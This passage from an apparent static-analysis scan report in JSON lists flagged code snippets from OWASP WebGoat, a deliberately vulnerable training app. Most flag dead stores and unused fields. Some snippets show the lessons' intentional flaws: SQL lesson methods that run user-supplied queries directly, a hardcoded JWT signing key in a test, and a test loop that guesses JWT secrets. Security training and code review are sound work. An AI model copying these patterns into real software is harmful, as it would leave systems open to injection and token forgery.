\"prepareStatement\", \"?\", \"?\", \"setString\", \"setString\"};\n\n    @PostMapping(\"/SqlInjectionMitigations/attack10a\")","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/CleanupLocalProgressFiles.java\nStartLine: 19, EndLine: 25\nCode:\npublic class CleanupLocalProgressFiles {\n\n    @Value(\"${webgoat.server.directory}\")\n    private String webgoatHome;\n\n    @PostConstruct\n    public void clean() {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/lessons/Lesson.java\nStartLine: 34, EndLine: 40\nCode:\nprivate static int count = 1;\n    private Integer id = null;\n    private List<Assignment> assignments;\n\n    /**\n     * Constructor for the Lesson object","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/Email.java\nStartLine: 37, EndLine: 43\nCode:\npublic class Email implements Serializable {\n\n    private LocalDateTime time;\n    private String contents;\n    private String sender;\n    private String title;\n    private String recipient;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/requests/Requests.java\nStartLine: 59, EndLine: 65\nCode:\nprivate class Tracert {\n        private final Instant date;\n        private final String path;\n        private final String json;\n    }\n\n    @GetMapping","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/Email.java\nStartLine: 40, EndLine: 44\nCode:\nprivate String contents;\n    private String sender;\n    private String title;\n    private String recipient;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/Review.java\nStartLine: 41, EndLine: 47\nCode:\npublic class Review {\n    private String user;\n    private String dateTime;\n    private String text;\n    private Integer stars;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/lessons/Hint.java\nStartLine: 38, EndLine: 42\nCode:\npublic class Hint {\n\n    private String hint;\n    private String assignmentPath;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/VerifyAccount.java\nStartLine: 50, EndLine: 56\nCode:\npublic class VerifyAccount extends AssignmentEndpoint {\n\n    @Autowired\n    private WebSession webSession;\n\n    @Autowired\n    UserSessionData userSessionData;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java\nStartLine: 100, EndLine: 106\nCode:\n@Getter\n    private class LessonStatistics {\n        private String name;\n        private boolean solved;\n        private int numberOfAttempts;\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/UserSession.java\nStartLine: 17, EndLine: 21\nCode:\nprivate WebGoatUser webGoatUser;\n    @Id\n    private String sessionId;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/PasswordResetEmail.java\nStartLine: 32, EndLine: 38\nCode:\n@Data\npublic class PasswordResetEmail implements Serializable {\n\n    private LocalDateTime time;\n    private String contents;\n    private String sender;\n    private String title;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java\nStartLine: 89, EndLine: 95\nCode:\nprivate class ReportCard {\n\n        private int totalNumberOfLessons;\n        private int totalNumberOfAssignments;\n        private int solvedLessons;\n        private int numberOfAssignmentsSolved;\n        private int numberOfLessonsSolved;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java\nStartLine: 16, EndLine: 21\nCode:\nprivate String lessonTitle;\n    private boolean hasSource;\n    private boolean hasSolution;\n    private boolean hasPlan;\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/test/java/org/owasp/webgoat/service/HintServiceTest.java\nStartLine: 32, EndLine: 38\nCode:\n@Mock\n    private Lesson lesson;\n    @Mock\n    private Assignment assignment;\n\n    @Before\n    public void setup() {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/resetlink/PasswordChangeForm.java\nStartLine: 17, EndLine: 22\nCode:\n@NotNull\n    @Size(min=6, max=10)\n    private String password;\n    private String resetLink;\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxControllerTest.java\nStartLine: 56, EndLine: 62\nCode:\n@MockBean\n    private MailboxRepository mailbox;\n    @MockBean\n    private UserService userService;\n    @Autowired\n    private ObjectMapper objectMapper;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/Comment.java\nStartLine: 18, EndLine: 24\nCode:\n@XmlRootElement\npublic class Comment {\n    private String user;\n    private String dateTime;\n    private String text;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/Review.java\nStartLine: 42, EndLine: 47\nCode:\nprivate String user;\n    private String dateTime;\n    private String text;\n    private Integer stars;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/PasswordResetEmail.java\nStartLine: 35, EndLine: 40\nCode:\nprivate LocalDateTime time;\n    private String contents;\n    private String sender;\n    private String title;\n    private String recipient;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java\nStartLine: 49, EndLine: 55\nCode:\n@Id\n    @GeneratedValue(strategy = GenerationType.AUTO)\n    private Long id;\n    @Column(name = \"username\")\n    private String user;\n    @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/FileServer.java\nStartLine: 93, EndLine: 99\nCode:\n@Getter\n    private class UploadedFile {\n        private final String name;\n        private final String size;\n        private final String link;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java\nStartLine: 88, EndLine: 94\nCode:\n@Setter\n    private class ReportCard {\n\n        private int totalNumberOfLessons;\n        private int totalNumberOfAssignments;\n        private int solvedLessons;\n        private int numberOfAssignmentsSolved;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/UserForm.java\nStartLine: 24, EndLine: 30\nCode:\nprivate String password;\n    @NotNull\n    @Size(min=6, max=10)\n    private String matchingPassword;\n    @NotNull\n    private String agree;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java\nStartLine: 44, EndLine: 50\nCode:\n@Value(\"${webgoat.server.directory}\")\n    private String webGoatHomeDirectory;\n    @Autowired\n    private WebSession webSession;\n    @Autowired\n    private Comments comments;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/user/UserForm.java\nStartLine: 41, EndLine: 47\nCode:\nprivate String username;\n    @NotNull\n    @Size(min=6, max=10)\n    private String password;\n    @NotNull\n    @Size(min=6, max=10)\n    private String matchingPassword;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/Email.java\nStartLine: 39, EndLine: 44\nCode:\nprivate LocalDateTime time;\n    private String contents;\n    private String sender;\n    private String title;\n    private String recipient;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/user/UserForm.java\nStartLine: 38, EndLine: 44\nCode:\n@NotNull\n    @Size(min=6, max=40)\n    private String username;\n    @NotNull\n    @Size(min=6, max=10)\n    private String password;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/PasswordResetEmail.java\nStartLine: 33, EndLine: 39\nCode:\npublic class PasswordResetEmail implements Serializable {\n\n    private LocalDateTime time;\n    private String contents;\n    private String sender;\n    private String title;\n    private String recipient;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/requests/Requests.java\nStartLine: 58, EndLine: 64\nCode:\n@Getter\n    private class Tracert {\n        private final Instant date;\n        private final String path;\n        private final String json;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/Email.java\nStartLine: 38, EndLine: 44\nCode:\nprivate LocalDateTime time;\n    private String contents;\n    private String sender;\n    private String title;\n    private String recipient;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/UserForm.java\nStartLine: 21, EndLine: 27\nCode:\nprivate String username;\n    @NotNull\n    @Size(min=6, max=10)\n    private String password;\n    @NotNull\n    @Size(min=6, max=10)\n    private String matchingPassword;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java\nStartLine: 14, EndLine: 20\nCode:\npublic class LessonInfoModel {\n\n    private String lessonTitle;\n    private boolean hasSource;\n    private boolean hasSolution;\n    private boolean hasPlan;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java\nStartLine: 55, EndLine: 61\nCode:\nprivate String webGoatHomeDirectory;\n    \n    @Value(\"${webwolf.url.landingpage}\")\n    private String webWolfURL;\n    \n    \n    @Autowired","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 54, EndLine: 60\nCode:\nprivate String ip;\n        private String mac;\n        private String status;\n        private String description;\n    }\n\n    @Autowired","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java\nStartLine: 99, EndLine: 105\nCode:\n@Setter\n    @Getter\n    private class LessonStatistics {\n        private String name;\n        private boolean solved;\n        private int numberOfAttempts;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java\nStartLine: 92, EndLine: 98\nCode:\nprivate int totalNumberOfAssignments;\n        private int solvedLessons;\n        private int numberOfAssignmentsSolved;\n        private int numberOfLessonsSolved;\n        private List<LessonStatistics> lessonStatistics = Lists.newArrayList();\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/requests/Requests.java\nStartLine: 57, EndLine: 63\nCode:\n@AllArgsConstructor\n    @Getter\n    private class Tracert {\n        private final Instant date;\n        private final String path;\n        private final String json;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/Review.java\nStartLine: 39, EndLine: 45\nCode:\n@NoArgsConstructor\n@XmlRootElement\npublic class Review {\n    private String user;\n    private String dateTime;\n    private String text;\n    private Integer stars;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/HammerHead.java\nStartLine: 49, EndLine: 55\nCode:\n@AllArgsConstructor\npublic class HammerHead {\n\n    private final Course course;\n\n    /**\n     * Entry point for WebGoat, redirects to the first lesson found within the course.","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comment.java\nStartLine: 41, EndLine: 45\nCode:\npublic class Comment {\n    private String user;\n    private String dateTime;\n    private String text;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/LessonTracker.java\nStartLine: 49, EndLine: 55\nCode:\n@Id\n    @GeneratedValue(strategy = GenerationType.AUTO)\n    private Long id;\n    @Getter\n    private String lessonName;\n    @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java\nStartLine: 91, EndLine: 97\nCode:\nprivate int totalNumberOfLessons;\n        private int totalNumberOfAssignments;\n        private int solvedLessons;\n        private int numberOfAssignmentsSolved;\n        private int numberOfLessonsSolved;\n        private List<LessonStatistics> lessonStatistics = Lists.newArrayList();\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/Review.java\nStartLine: 40, EndLine: 46\nCode:\n@XmlRootElement\npublic class Review {\n    private String user;\n    private String dateTime;\n    private String text;\n    private Integer stars;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/Email.java\nStartLine: 11, EndLine: 17\nCode:\npublic class Email implements Serializable {\n\n    private String contents;\n    private String sender;\n    private String title;\n    private String recipient;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/FileServer.java\nStartLine: 94, EndLine: 100\nCode:\nprivate class UploadedFile {\n        private final String name;\n        private final String size;\n        private final String link;\n    }\n\n    @GetMapping(value = \"/WebWolf/files\")","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java\nStartLine: 30, EndLine: 36\nCode:\n@Getter\n    private class Ranking {\n        private String username;\n        private List<String> flagsCaptured;\n    }\n\n    @GetMapping(\"/scoreboard-data\")","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comment.java\nStartLine: 40, EndLine: 45\nCode:\n@XmlRootElement\npublic class Comment {\n    private String user;\n    private String dateTime;\n    private String text;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/test/java/org/owasp/webgoat/service/LabelServiceTest.java\nStartLine: 55, EndLine: 61\nCode:\n@MockBean\n    private Course course;\n    @MockBean\n    private UserService userService;\n\n    @Test\n    @WithMockUser(username = \"guest\", password = \"guest\")","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java\nStartLine: 90, EndLine: 96\nCode:\nprivate int totalNumberOfLessons;\n        private int totalNumberOfAssignments;\n        private int solvedLessons;\n        private int numberOfAssignmentsSolved;\n        private int numberOfLessonsSolved;\n        private List<LessonStatistics> lessonStatistics = Lists.newArrayList();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 51, EndLine: 57\nCode:\nprivate String id;\n        private String hostname;\n        private String ip;\n        private String mac;\n        private String status;\n        private String description;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/FileServer.java\nStartLine: 92, EndLine: 98\nCode:\n@AllArgsConstructor\n    @Getter\n    private class UploadedFile {\n        private final String name;\n        private final String size;\n        private final String link;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"B30AA17C-87EC-42CF-9160-CFDF122CE28E","desc":"<Content>This variable's value is not used. After the assignment, the variable is either assigned another value or goes out of scope.\n\n<b>Example:</b> The following code excerpt assigns to the variable <code>r</code> and then overwrites the value without using it.\n\n<pre>\n  r = getName();\n  r = getNewBuffer(buf);\n</pre></Content>","title":"<Content><Paragraph>The method <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> never uses the value it assigns to the variable <Replace key=\"$var.name$\"/> on line <Replace key=\"PrimaryLocation.line\"/>.<AltParagraph>The variable's value is assigned but never used, making it a dead store.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson10b.java\nStartLine: 91, EndLine: 97\nCode:\nJavaFileObject javaObjectFromString = getJavaFileContentsAsString(s);\n        Iterable fileObjects = Arrays.asList(javaObjectFromString);\n        JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, diagnosticsCollector, null, null, fileObjects);\n        Boolean result = task.call();\n        List<Diagnostic> diagnostics = diagnosticsCollector.getDiagnostics();\n        return diagnostics;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge8/Assignment8.java\nStartLine: 38, EndLine: 44\nCode:\n@ResponseBody\n    public ResponseEntity<?> vote(@PathVariable(value = \"stars\") int nrOfStars, HttpServletRequest request) {\n        //Simple implementation of VERB Based Authentication\n        String msg = \"\";\n        if (request.getMethod().equals(\"GET\")) {\n            HashMap<String, Object> json = Maps.newHashMap();\n            json.put(\"error\", true);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTRefreshEndpointTest.java\nStartLine: 71, EndLine: 77\nCode:\n.andExpect(status().isOk())\n                .andReturn();\n        Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);\n        String accessToken = tokens.get(\"access_token\");\n        String refreshToken = tokens.get(\"refresh_token\");\n\n        //Now create a new refresh token for Tom based on Toms old access token and send the refresh token of Jerry","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java\nStartLine: 63, EndLine: 69\nCode:\nprivate String getSecretToken(String token) {\n    \tfor (String key : JWTSecretKeyEndpoint.SECRETS) {\n    \t\ttry {\n    \t\t\tJwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);\n    \t\t} catch (JwtException e) {\n    \t\t\tcontinue;\n    \t\t}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AccountVerificationHelper.java\nStartLine: 49, EndLine: 55\nCode:\nboolean likely = false;\n\n        if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {\n            likely = true;\n        }\n\n        if ((submittedAnswers.containsKey(\"secQuestion0\") && submittedAnswers.get(\"secQuestion0\").equals(secQuestionStore.get(verifyUserId).get(\"secQuestion0\"))) &&","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AccountVerificationHelper.java\nStartLine: 46, EndLine: 52\nCode:\n// this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code\n    public boolean didUserLikelylCheat(HashMap<String,String> submittedAnswers) {\n        boolean likely = false;\n\n        if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {\n            likely = true;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/i18n/PluginMessages.java\nStartLine: 53, EndLine: 59\nCode:\n@SneakyThrows\n    protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) {\n        Properties properties = new Properties();\n        long lastModified = System.currentTimeMillis();\n\n        Enumeration<URL> resources = Thread.currentThread().getContextClassLoader().getResources(filename + PROPERTIES_SUFFIX);\n        while (resources.hasMoreElements()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 58, EndLine: 64\nCode:\nHashMap<Integer,HashMap> allUsersMap = new HashMap();\n\n                if ((results != null) && (results.first() == true)) {\n                    ResultSetMetaData resultsMetaData = results.getMetaData();\n                    StringBuffer output = new StringBuffer();\n\n                    while (results.next()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 45, EndLine: 51\nCode:\nprotected AttackResult injectableQuery(String _query) {\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            String query = _query;\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 45, EndLine: 51\nCode:\nprotected AttackResult injectableQuery(String _query) {\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            String query = _query;\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/LandingAssignment.java\nStartLine: 58, EndLine: 64\nCode:\n@GetMapping(\"/password-reset\")\n    public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException {\n        URI uri = new URI(request.getRequestURL().toString());\n        ModelAndView modelAndView = new ModelAndView();\n        modelAndView.addObject(\"webwolfUrl\", landingPageUrl);\n        modelAndView.addObject(\"uniqueCode\", StringUtils.reverse(getWebSession().getUserName()));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/LabelDebugService.java\nStartLine: 83, EndLine: 89\nCode:\npublic @ResponseBody\n     ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam(\"enabled\") Boolean enabled) throws Exception {\n         log.debug(\"Setting label debugging to {} \", labelDebugger.isEnabled());\n         Map<String, Object> result = createResponse(enabled);\n         labelDebugger.setEnabled(enabled);\n         return new ResponseEntity<>(result, HttpStatus.OK);\n     }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOtherProfile.java\nStartLine: 44, EndLine: 50\nCode:\n@GetMapping(path = \"IDOR/profile/{userId}\", produces = {\"application/json\"})\n    @ResponseBody\n    public AttackResult completed(@PathVariable(\"userId\") String userId, HttpServletResponse resp) {\n        Map<String,Object> details = new HashMap<>();\n\n        if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n            //going to use session auth to view this one","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/test/java/org/owasp/webgoat/users/UserTrackerRepositoryTest.java\nStartLine: 48, EndLine: 54\nCode:\n@Test\n    public void saveUserTracker() {\n        UserTracker userTracker = new UserTracker(\"test\");\n        LessonTracker lessonTracker = userTracker.getLessonTracker(new TestLesson());\n\n        userTrackerRepository.save(userTracker);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/controller/StartLesson.java\nStartLine: 75, EndLine: 81\nCode:\npublic ModelAndView lessonPage(HttpServletRequest request) {\n        // I will set here the thymeleaf fragment location based on the resource requested.\n        ModelAndView model = new ModelAndView();\n        SecurityContext context = SecurityContextHolder.getContext(); //TODO this should work with the security roles of Spring\n        //GrantedAuthority authority = context.getAuthentication().getAuthorities().iterator().next();\n        String path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson\n        String lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(\".lesson\"));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 59, EndLine: 65\nCode:\nif ((results != null) && (results.first() == true)) {\n                    ResultSetMetaData resultsMetaData = results.getMetaData();\n                    StringBuffer output = new StringBuffer();\n\n                    while (results.next()) {\n                        int id = results.getInt(0);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5.java\nStartLine: 45, EndLine: 51\nCode:\nprotected AttackResult injectableQuery(String _query) {\n        try {\n            String regex = \"(?i)^(grant alter table to unauthorizedUser)(?:[;]?)$\";\n            Boolean isCorrect = false;\n            StringBuffer output = new StringBuffer();\n\n            // user completes lesson if the query is correct","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 62, EndLine: 68\nCode:\nquery.setInt(1, count);\n      //String query = \"SELECT * FROM user_data WHERE Login_Count = \" + login_count + \" and userid = \" + accountName, ;\n      try {\n        Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                ResultSet.CONCUR_READ_ONLY);\n        ResultSet results = query.executeQuery();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 54, EndLine: 60\nCode:\nResultSet.CONCUR_READ_ONLY);\n                statement.executeUpdate(_query);\n                ResultSet _results = check_statement.executeQuery(\"SELECT phone from employees;\");\n                ResultSetMetaData _resultMetaData = _results.getMetaData();\n                StringBuffer output = new StringBuffer();\n                // user completes lesson if column phone exists\n                if (_results.first()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/LabelDebugService.java\nStartLine: 69, EndLine: 75\nCode:\npublic @ResponseBody\n    ResponseEntity<Map<String, Object>> checkDebuggingStatus() {\n        log.debug(\"Checking label debugging, it is {}\", labelDebugger.isEnabled());\n        Map<String, Object> result = createResponse(labelDebugger.isEnabled());\n        return new ResponseEntity<>(result, HttpStatus.OK);\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/TokenTest.java\nStartLine: 52, EndLine: 58\nCode:\n.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key).compact();\n        System.out.println(token);\n        Jwt jwt = Jwts.parser().setSigningKey(\"qwertyqwerty1234\").parse(token);\n        jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter(){\n            @Override\n            public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {\n                return TextCodec.BASE64.decode(key);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/TokenTest.java\nStartLine: 51, EndLine: 57\nCode:\n.setClaims(claims)\n                .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key).compact();\n        System.out.println(token);\n        Jwt jwt = Jwts.parser().setSigningKey(\"qwertyqwerty1234\").parse(token);\n        jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter(){\n            @Override\n            public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"73B5DD01-BFBE-4CD5-8759-C432873136FB","desc":"<Content>The J2EE standard permits the use of sockets only for the purpose of communication with legacy systems when no higher-level protocol is available. Authoring your own communication protocol requires wrestling 